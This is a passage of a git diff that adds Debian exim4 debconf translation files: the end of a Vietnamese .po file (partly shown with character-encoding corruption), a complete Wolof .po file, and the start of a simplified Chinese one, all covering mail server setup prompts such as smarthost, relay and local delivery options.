+"Tùy chá»n này nên được bật nếu hệ thống này Ä‘ang dùng khả năng Quay Số Khi "
+"Yêu Cầu. Còn nếu hệ thống luôn luôn có thể truy cập Mạng, tùy chá»n này nên "
+"được tắt."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Cấu hình máy phục vụ thư"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Chia tập tin cấu hình ra nhiá»u tập tin nhá» không?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Những gói exim4 của Debian có thể sử dụng hoặc « cấu hình chưa xẻ », chỉ một "
+"tập tin lớn (/etc/exim4/exim4.conf.template) hoặc « cấu hình đã xẻ », mà các "
+"tập tin cấu hình Exim được xây dựng từ khoảng 50 tập tin nhỠnằm trong « /"
+"etc/exim4/conf.d/ »."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Cấu hình chÆ°a xẻ là thích hợp hÆ¡n vá»›i sá»± sá»­a đổi lá»›n hÆ¡n, cÅ©ng thÆ°á»ng ổn "
+"định hơn, còn cấu hình đã xẻ cung cấp một cách dễ dàng để làm sự sửa đổi nhỠ"
+"hơn, nhưng là dễ vỡ hơn, có thể vỡ nếu được sửa đổi luộm thuộm."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Một cuộc thảo luận chi tiết hơn vỠcấu hình kiểu xẻ và chưa xẻ nằm trong tài "
+"liệu Äá»c Äi đặc trÆ°ng cho Debian trong thÆ° mục « /usr/share/doc/exim4-base »."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Ẩn tên thÆ° cục bá»™ trong má»i thÆ° được gá»­i Ä‘i không?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Những dòng đầu cua thư được gửi đi cũng có thể được ghi lại để có vẻ nó được "
+"tạo ra trên hệ thống khác. Bật tùy chá»n này thì các giá trị « ${mailname} », "
+"« localhost » và « ${dc_other_hostnames} » trên dòng đầu « Từ » (From), « "
+"Trả lá»i cho » (Reply-To), « NgÆ°á»i gá»­i » (Sender) và « ÄÆ°á»ng dẫn trở vá» "
+"» (Return-Path) sẽ được ghi lại."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "định dạng mbox trong « /var/mail/ »"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "định dạng Maildir trong thư mục gốc"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Phương pháp phát thư cục bộ :"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim có khả năng cất giữ các thư được phát cục bộ trong các định dạng khác "
+"nhau. Những định dạng thÆ°á»ng dùng nhất là « mbox » và « Maildir ». mbox dùng "
+"một tập tin riêng lẻ cho toàn bộ thư mục thư được cất giữ trong « /var/mail/ "
+"». Còn trong định dạng Maildir, mỗi thư riêng được cất giữ trong một tập tin "
+"riêng trong « ~/Maildir/ »."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Ghi chú rằng phần lớn công cụ thư tín trong Debian ngỠphương pháp phát thư "
+"cục bộ là mbox theo mặc định."
diff --git a/debian/po/wo.po b/debian/po/wo.po
new file mode 100644
index 0000000..f1defe9
--- /dev/null
+++ b/debian/po/wo.po
@@ -0,0 +1,652 @@
+# translation of wo.po to Wolof
+# This file is distributed under the same license as the PACKAGE package.
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER.
+#
+# Mouhamadou Mamoune Mbacke <mouhamadoumamoune@gmail.com>, 2006, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: wo\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-19 01:10+0200\n"
+"Last-Translator: Mouhamadou Mamoune Mbacke <mouhamadoumamoune@gmail.com>\n"
+"Language-Team: Wolof\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Ndax nu dindi bataaxal yiñu jebbalewul yi ne ci gakku spool?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Amna ay bataaxal yu ne ci kaggu spool bu exim /var/spool/exim4/ input/ ta "
+"jebbaleeguñu leen. Boo dindée Exim kon kenn du leen manatee jébbalé fii ak "
+"ngay istalewaat Exim."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Buf fekkee tannóo lii, kon deesna fi bayyi kaggu bu spool. Loolu dana tax "
+"bañu mana jébbalé bataaxal yi nekk ci sappe si, ginnaaw buñu istalewaatee "
+"Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Komfigurewaat exim4-config ta bayye bii paket"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 jëlnañu komfiguraasioŋam jagleelko ab paketu boppam muy exim4-config. "
+"Saa yoo bëggée komfigurewaat Exim4, jëfandikool 'dpkg-reconfigure exim4-"
+"config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "sit internet; bataaxal deesleen di yónée di leen jot ak SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"bataaxal bi smarthost moo koy yónée; deesnako jot ak SMTP walla fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "bataaxal yi smarthost moo koy yónée; bataaxal lokaal du am"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "jébbale lokaal rekk; nekkul ci ab resóo"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "komfigraasioŋ du am leegi"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Komfiguraasioŋ bu xeetu bataaxal wi gëna yaatu:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Tannal xeetu komfiguraasioŋ bu serwóor bu mail bi gëna dëppóo ak say soxla."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sistem yi am adrees IP dinaamik, mel ne sistemu dialup yi, deesleen di wara "
+"komfigure ñuy yónnée seen bataaxal yiy génn jaaraleko ci baneen masin, buñuy "
+"tudde 'smarthost' ngir mu jebbale leen, ndaxte sistem yu bare ci yiy jot "
+"bataaxal yi ci internet, dañuy boloke bataaxal yiy juge ci adrees IP "
+"dinaamik, ngir aar seen boppu ci spam yi."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Sistem bu ame adrees IP dinaamik dana man di jot ay bataaxal yu boppam, "
+"maneesna yit baña naŋgu bataaxal lokaal yi (bamu des yu jëm ci root ak "
+"postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Ndax wóorna nu bayyi sistemu bataaxal (mail) bañkoo komfigure?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Fii ak ngay komfigure sa sistemu mail bi, dafay doon lu dammu ta deesu ko "
+"mana jëfandikoo. Du tee nak nga man koo komfigure ginnaaw bi, benn ak sa "
+"loxo walla nga doxal 'dpkg-reconfigure exime4-config' gannaaw boo doonee "
+"root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Turu sistemu mail bi:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'mail name' mooy turu domen biñuy jëfandikoo ngir 'qualifier', maanaa melal "
+"ay adrees yu mail ta du and ak turu domen bi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Tur wi yaneen prograam yitam danañukoy jëfandikoo, mingi wara doon turu "
+"domen wu mat, fully qualified domain name (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Ci misaal, bu ab adreesu mail bu nekk ci sa masin bi doonee foo@example.org, "
+"kon li ngay wara bind fii mooy example.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Tur wii du feeñ ci bind wu From: ci bataaxal yiy génn bu fekkee yaangi doxal "
+"rewriting."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Yaneen jamukaay yiñuy naŋgu bataaxal difa dem:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Joxeel fii ab list boo teqale ak ay (;) bu domen yi nga xam ne bii masin "
+"dana jappu ne man naa doon jamukaayu seeni bataaxal. Yooyu domen ñi ngi leen "
+"di tudde 'domen lokaal'. Turu masin bi (${fqdn}) ak 'localhost' deesleen di "
+"dolli ci list bii ñuy joxe fii."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Bu waxeesul dara kon mbooleem domen yi lañiy yamale ñuñuy jëflëntée ak ñoom. "
+"Bbu fekkee a.examploe ay b.example ay dome lokaal lañu, kon acc@a.example ak "
+"acc@b.example ñooy bokk fuñu leeen di yóbbu. bëgée yenn domen yi ñuy "
+"jëflënte ak ñoom nu bokkul ak ni ñuy jëflënte ak yaneen yi, kon boo noppee "
+"dangay soppi fiise bu config bi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Doen yiñuy jallale seeni bataaxal:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Joxeel fii ab list buñu teqale ak (;) bu domen yinga xam ne sistem bii danay "
+"jottuli bataaxal yi jëm ci ñoom, ci misaal bu seen dellukaay bu MX walla "
+"mail gateway. Loolu mooy firi ne sistem bii dana naŋgoo jël béppu bataaxal "
+"bu jëm ci ñoom ak fumu mana juge ci internet, buko defee mu jébbalé léen "
+"niko reegal yu jébbalé yi waxe."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Bul tudd fii nak domen lokaal yi. Wildcards maneesna leena jëfandikoo."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Masin yiñuy jallale seeni bataaxal:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Bindal fii ab list buñu teqale ak ay (;) bu def ab diggante (intervalle) bu "
+"adrees IP yi masin bii di jallale seen mail ci ludul mu ciy tek benn sart, "
+"doon seen smarthost."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Dangaa wara jëfandikoo formaat estàndaar bu adress/prefix (ci misaal: "
+"194.222.242.0/24 walla 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Bu fekkee sistem bii du doon smarthost bu benn masin, kon bul bind fii dara."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Turu domen yi jëfandikukat lokaal yi di mana gis:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Tanneesna ne ñu laq turu mail lokaal bi ci bataaxal yiy génn. Kon nak fawwu "
+"nga joxe fii turu domen binga xam ne moo war di feeñ ci adrees yu sender, "
+"maanaa kiy yónnée bataaxal bi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Adrees IP walla turu masin bu smarthost biy génn:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Joxeel fii adrees IP walla turu masin bu ab serwóor mail bu sistem biy doon "
+"smarthost bu bataaxal yiy génné ci sistem bii. Bu fekkee smarthost mingiy "
+"naŋgoo jël say bataaxal yiy jaar ci poor bu bokkul ak TCP/25, kon yokkal ci "
+"adrees IP bi (::) ak numero bu poor bi. (Ci misaal smarthost.example::587 "
+"walla 192.168.254.254::2525). Ñaari tombu (:) yiy nekk ci adrees IPv- "
+"deeleen di duble."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Bu fekkee sparthost dafay laaj settantal jëmmu (authentication), kon dellul "
+"ca fiise README biñu jagleel Debian ci /usr/share/doc/exim4-base ngir am ay "
+"leeral ci reglaas yu setteantalu jëmmu (authentification) ak SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Kiy jot bataaxal yu root ak yu postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Bataaxal yu 'postmaster', 'root', ak yaneen kontu yu sistem bi dañuy soxla "
+"ñu jallale léen ci ab kontu bu jëfandikukat bi nga xam ne mooy saytu sistem "
+"bi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Bu fekkee fii bindoo fi dara, kon bataaxal yu deme nooni kon deesna leen "
+"deñc ci /var/mail/mail, ta loolu deŋkaanewuñu kuko def."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Xamal ne bataaxal yu postmaster deesleena war di jaŋg ci sistem yiñu leen di "
+"jallale, waaye deesuleen jallalewaat ci baneen masin, moo tax kenn ci "
+"jëfandikukat yi nga tannoon warul di jallale ay bataaxalam ci baneen masin. "
+"Man ngaa jëfandikoo prefiks 'real-' ngir forse ab jebbale lokaal."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Turu jëfandikukat yu bare dees leena wara teqale leen ak ay espaas."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Adrees IP yi ñuy diglu ngir koneksioŋ SMTP yiy duggsi:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Joxeel fii ab list bu adrees IP yuñu teqale ak (;). Daemon bu Exim biy diglu "
+"SMTP dana diglu ci mbooleem adrees IP yi nekk ci list bii."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Boo bindul fii dara, kon Exim dana diglu koneksioŋ yiy nekk ci mbooleem "
+"interfaas resóo yi fi nekk."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Bu fekkee bii kompiyutar du jot directement email yudul yu juge ci sarwiis "
+"lokaal yi (du jot lu joge ci yaneeni masin), kon dangaa wara tere koneksioŋ "
+"yu juge ci bitti jëm ci Exim deamon. sarwiis yooyu ñooy yu deme ne "
+"prograamu email (MUA) yiy wax ak localhost rekk, walla fetchmail. Jokkoo bu "
+"juge ci biiti dooul mana am bu fekkee bindnga fii 127.0.0.1. booko defee "
+"dóotóo jappundil diglu ci interfaas resóo piblik yi."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Ndax nu bayyi lumu sakku DNS mu néew (Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Ci doxaliin wu normaal, Exim dana xool DNS ci buy tambule, buy jot walla muy "
+"joxe ay bataaxal. Loolu nak njariñam mooy log rekk, ak yit dana tax ba limub "
+"fiise komfiguraasioŋ yu walóor yi ñi kode (hard-coded values) di doon lu "
+"tuuti."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Bu lii doonee ab masin bu manul di aksi saa sune ci serwóor turu domen DNS "
+"(ci misaal budee jokkoo ak internet ci ab liiñ dial-up buy jëfandikoo dial-"
+"on-demand), kon man naa am luci judóo loo bëggul. Ci misaal: saa yoo "
+"tambulee exim walla ngay doxal sappe si (queue) (doonte sax benn betaaxal "
+"nekkul di xaar), loolu di and ab xewxewu kompoose (dial-up) bu seer."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Lii warnga koo tann bu fekkee sistem bii dafay jëfandikoo Dial-on-Demand. Bu "
+"fekkee saa sune mingi jokkoo ak internet, kon waróo koo tann."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Komfiguraasioŋ Serwór Mail"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Ndax ñu xajjale komfiguraasioŋ bi ci ay fiise yu tuuti?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Paket yu exim4 bu Debian man naa jëfandikoo 'unplit configuration', maana "
+"benn fiise komfiguraasioŋ (/etc/exim4/exim4.conf.template), man na yit "
+"jëfandikoo 'split configuration', nga xam ne fiise komfiguraasioŋ bi deeskay "
+"séddëlé lu jege 50 fiise yu ndaw yuñuy def ci /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Bu jëkk bi (\"unsplit configuration\")moo gëna dëppo ak di def ay "
+"modifikaasioŋ yu mag, ta yit moo gëna estaable. Bu ñaareel bi nak (\"split "
+"configuration\"), dana yombal def ay modifikaasioŋ yu ndaw, waaye mooy gëna "
+"néew doole, ta buñu ko soppee ci lu andul ak ak teey, kon man naa dammu."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Ngir am yaneen faramfacce ci split ak unsplit configuration, man ngaa xool "
+"Fiise README yiñu jagleel Debian yi ne ci /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Ndax nu laq turu mail bi ci bataaxal yiy génn?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Boppu bataaxal yiy génn maneesna leena bindaat ngir ñu mel ne ci baneen "
+"sistem lañu juge. Bu fekkee tann nga loolu, kon '${mailname}', 'localhost' "
+"ak '${dc_other_hostnames}' yi nekk ci From, Reply-To, Sender ak Return-Path "
+"deesleen di bindaat (soppi leen)."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "formaat bu mbox bi ci /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Formaat bu Maildir bi ci kaggu wu home"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Metoodu jébbaliin wu bbataaxal lokaal yi:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim man na di deñc email lokaal yi ci ay formaat yu bare. Yi ci ëppu luñu "
+"leen di jëfandikoo ñooy mbox ak Maildir. mbox dafay dafay jël benn fiise, "
+"deñc ci kaggu wi yor mbooleem bataaxal yi ne ci /var/mail. Formaat bu "
+"Maildir nak mooy bataaxal bu ne dafay am ab fiise bu boppam buñuy deñc ci "
+"kaggu ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Na nga bayyi xel ne li ëppu ci jumtukaay yu email yu Debian, ci seen "
+"komfiguraasioŋ bu defóo dañuy jappu ne metood bu jébbale email lokaal yi "
+"moodi mbox."
+
+#~ msgid "Overwrite existing /etc/aliases?"
+#~ msgstr "Ndax ñu bind ci kay /etc/aliases yi fi nekk?"
+
+#~ msgid ""
+#~ "An /etc/aliases file was found on the system, but it does not redirect "
+#~ "mail for root to a user account, which is strongly recommended."
+#~ msgstr ""
+#~ "Gisnañu fii ab fiise bu /etc/aliases, waaye du jallale bataaxal yu root "
+#~ "ci ab koontu bu jëfandikukat, ta loolu doon luñuy deŋkaane bubaax ku ko "
+#~ "def."
+
+#~ msgid ""
+#~ "Accepting this option will cause /etc/aliases to be overwritten, and the "
+#~ "old file will be renamed to aliases.O."
+#~ msgstr ""
+#~ "Boo naŋgoo tann lii kon fiise bu /etc/aliases deesna bind ci kawam, buko "
+#~ "defee fiise bu jëkk ba dañukoy tudde aliases.O."
diff --git a/debian/po/zh_CN.po b/debian/po/zh_CN.po
new file mode 100644
index 0000000..7280074
--- /dev/null
+++ b/debian/po/zh_CN.po
@@ -0,0 +1,602 @@
+# debconf templates for exim4 package, simplified Chinese translation.
+#
+# Copyrights: Carlos Z.F. Liu <carlos_liu@yahoo.com>, 2004.
+# Ming Hua <minghua@rice.edu>, 2006,2007.
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
